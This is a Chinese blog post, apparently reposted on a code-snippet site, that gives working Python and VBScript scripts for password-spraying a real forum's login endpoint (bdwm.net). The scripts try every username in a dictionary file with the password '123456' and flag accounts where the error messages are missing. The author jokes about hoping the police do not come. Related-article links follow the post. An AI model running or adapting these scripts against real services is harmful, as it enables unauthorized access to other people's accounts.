Python牛刀小试密码爆破


Posted in Python onFebruary 03, 2011

难道真的要我破解一个么?算了,正好试试我的Python水平。
python版

#coding: gbk 
import httplib, urllib def Check(username, password): 
params = urllib.urlencode( 
{'userid': username, 'passwd': password}) 
headers = {"Content-type": 
"application/x-www-form-urlencoded"} 
conn = httplib.HTTPSConnection("www.bdwm.net") 
conn.request("POST", 
"/bbs/bbslog2.php", params, headers) 
res = conn.getresponse().read() 
conn.close() 
if res.find("密码不正确") != -1: 
return False 
elif res.find("不存在这个用户") != -1: 
return False 
else: 
return True 
for i in open("English.Dic"): 
if Check(i.rstrip(),"123456"): 
print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
Dim fso 
Set fso = CreateObject("scripting.filesystemobject") 
With fso.OpenTextFile("English.Dic",1) 
Do Until .AtEndOfStream 
id = .ReadLine 
If Check(id,"123456") Then 
WScript.Echo id & vbTab &"OK" 
End If 
Loop 
End With Function Check(username,password) 
Dim http 
Set http = CreateObject("Msxml2.XMLHTTP") 
http.open _ 
"POST","https://www.bdwm.net/bbs/bbslog2.php",False 
http.setRequestHeader _ 
"Content-Type","application/x-www-form-urlencoded" 
http.send "userid=" & username & "&passwd=" & password 
response = AnsiToUnicode(http.responseBody) 
If InStr(response,"密码不正确") Then 
Check = False 
ElseIf InStr(response,"不存在这个用户") Then 
Check = False 
Else 
Check = True 
End If 
End Function 
Function AnsiToUnicode(str) 
Dim ado 
Set ado = CreateObject("adodb.stream") 
ado.Type = 1 
ado.Open 
ado.Write str 
ado.Position = 0 
ado.Type = 2 
ado.Charset = "gb2312" 
AnsiToUnicode = ado.ReadText 
End Function

事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html
Python 相关文章推荐
Python守护进程和脚本单例运行详解
Jan 06 Python
Python编程之微信推送模板消息功能示例
Aug 21 Python
Python数据分析之获取双色球历史信息的方法示例
Feb 03 Python
在Pycharm中项目解释器与环境变量的设置方法
Oct 29 Python
python word转pdf代码实例
Aug 16 Python
python实现的按要求生成手机号功能示例
Oct 08 Python
Python socket模块方法实现详解
Nov 05 Python
Python3.x+迅雷x 自动下载高分电影的实现方法
Jan 12 Python
Idea安装python显示无SDK问题解决方案
Aug 12 Python
Python confluent kafka客户端配置kerberos认证流程详解
Oct 12 Python
Python环境配置实现pip加速过程解析
Nov 27 Python
详解Python生成器和基于生成器的协程
Jun 03 Python
初学python数组的处理代码
Jan 04 #Python
让python json encode datetime类型
Dec 28 #Python
让python的Cookie.py模块支持冒号做key的方法
Dec 28 #Python
python封装对象实现时间效果
Apr 23 #Python
python下函数参数的传递(参数带星号的说明)
Sep 19 #Python
Python 元类使用说明
Dec 18 #Python
Python3 入门教程 简单但比较不错
Nov 29 #Python
You might like
php数组函数序列之in_array() - 查找数组中是否存在指定值
2011/11/07 PHP
php 文件下载 出现下载文件内容乱码损坏的解决方法(推荐)
2016/11/16 PHP
JavaScript返回网页中超链接数量的方法
2015/04/03 Javascript
JavaScript中判断函数、变量是否存在
2015/06/10 Javascript
理解javascript定时器中的setTimeout与setInterval
2016/02/23 Javascript
基于javascript制作微信聊天面板
2020/08/09 Javascript
JS Canvas定时器模拟动态加载动画
2016/09/17 Javascript
Bootstarp 基础教程之表单部分实例代码
2017/02/03 Javascript
fullCalendar中文API官方文档
2017/02/07 Javascript
vuejs开发组件分享之H5图片上传、压缩及拍照旋转的问题处理
2017/03/06 Javascript
详解基于Angular4+ server render(服务端渲染)开发教程
2017/08/28 Javascript
12条写出高质量JS代码的方法
2018/01/07 Javascript
vue 引入公共css文件的简单方法(推荐)
2018/01/20 Javascript
详解如何实现一个简单的 vuex
2018/02/10 Javascript
vue 授权获取微信openId操作
2020/11/13 Javascript
Python中的条件判断语句基础学习教程
2016/02/07 Python
完美解决Python2操作中文名文件乱码的问题
2017/01/04 Python
Python 自动化表单提交实例代码
2017/06/08 Python
Python实现求两个csv文件交集的方法
2017/09/06 Python
Python使用matplotlib绘制余弦的散点图示例
2018/03/14 Python
pytorch + visdom 处理简单分类问题的示例
2018/06/04 Python
使用python获取电脑的磁盘信息方法
2018/11/01 Python
用Python实现BP神经网络(附代码)
2019/07/10 Python
Python常用数据类型之间的转换总结
2019/09/06 Python
美国领先的在线邮轮旅游公司:CruiseDirect
2018/06/07 全球购物
Funko官方商店:源自美国,畅销全球搪胶收藏玩偶
2018/09/15 全球购物
JD Sports荷兰:英国领先的运动时尚零售商
2020/03/13 全球购物
Chupi官网:在爱尔兰手工制作的订婚、结婚戒指和精美珠宝
2020/09/28 全球购物
银行营业厅大堂经理岗位职责
2014/01/06 职场文书
亮化工程实施方案
2014/03/17 职场文书
大学生就业自荐书
2014/06/16 职场文书
党的群众路线教育实践活动专题组织生活会发言材料
2014/10/17 职场文书
2014年连锁店圣诞节活动方案
2014/12/09 职场文书
检讨书格式
2015/01/23 职场文书
上班迟到检讨书
2015/05/06 职场文书
学生安全责任协议书
2016/03/22 职场文书